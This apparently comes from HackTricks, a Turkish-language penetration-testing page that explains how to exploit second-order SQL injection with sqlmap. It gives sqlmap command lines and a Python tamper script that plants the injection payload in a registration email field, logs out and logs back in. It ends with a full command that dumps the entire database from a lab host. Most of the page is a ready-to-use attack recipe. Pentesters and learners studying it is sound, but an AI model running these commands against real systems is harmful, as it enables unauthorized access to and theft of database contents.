tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
SQLMap İkinci Derece SQL'leri Sömürebilir.
Şunları sağlamanız gerekiyor:
- SQL enjeksiyon yükünün kaydedileceği istek
- Yükün çalıştırılacağı istek
SQL enjeksiyon yükünün kaydedildiği istek, sqlmap'teki diğer enjeksiyonlarda olduğu gibi belirtilir. SQLMap'in enjeksiyonun çıktısını/çalıştırılmasını okuyabileceği istek --second-url
ile veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa --second-req
ile belirtilebilir.
Basit ikinci derece örneği:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Birçok durumda bu yeterli olmayacaktır çünkü payload'u göndermenin yanı sıra farklı bir sayfaya erişmek için başka eylemler gerçekleştirmeniz gerekecektir.
Bunun gerektiği durumlarda bir sqlmap tamper kullanabilirsiniz. Örneğin, aşağıdaki script yeni bir kullanıcıyı sqlmap payload'unu e-posta olarak kullanarak kaydedecek ve çıkış yapacaktır.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Bir SQLMap tamper, bir yük ile bir enjeksiyon denemesi başlatılmadan önce her zaman çalıştırılır ve bir yük döndürmesi gerekir. Bu durumda yük ile ilgilenmiyoruz ama bazı istekler göndermeye odaklanıyoruz, bu yüzden yük değiştirilmez.
Bu nedenle, ikinci dereceden SQL enjeksiyonunu istismar etmek için daha karmaşık bir akışa ihtiyacımız varsa:
- "email" alanında SQLi yükü ile bir hesap oluştur
- Çıkış yap
- O hesapla giriş yap (login.txt)
- SQL enjeksiyonunu çalıştırmak için bir istek gönder (second.txt)
Bu sqlmap satırı yardımcı olacaktır:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.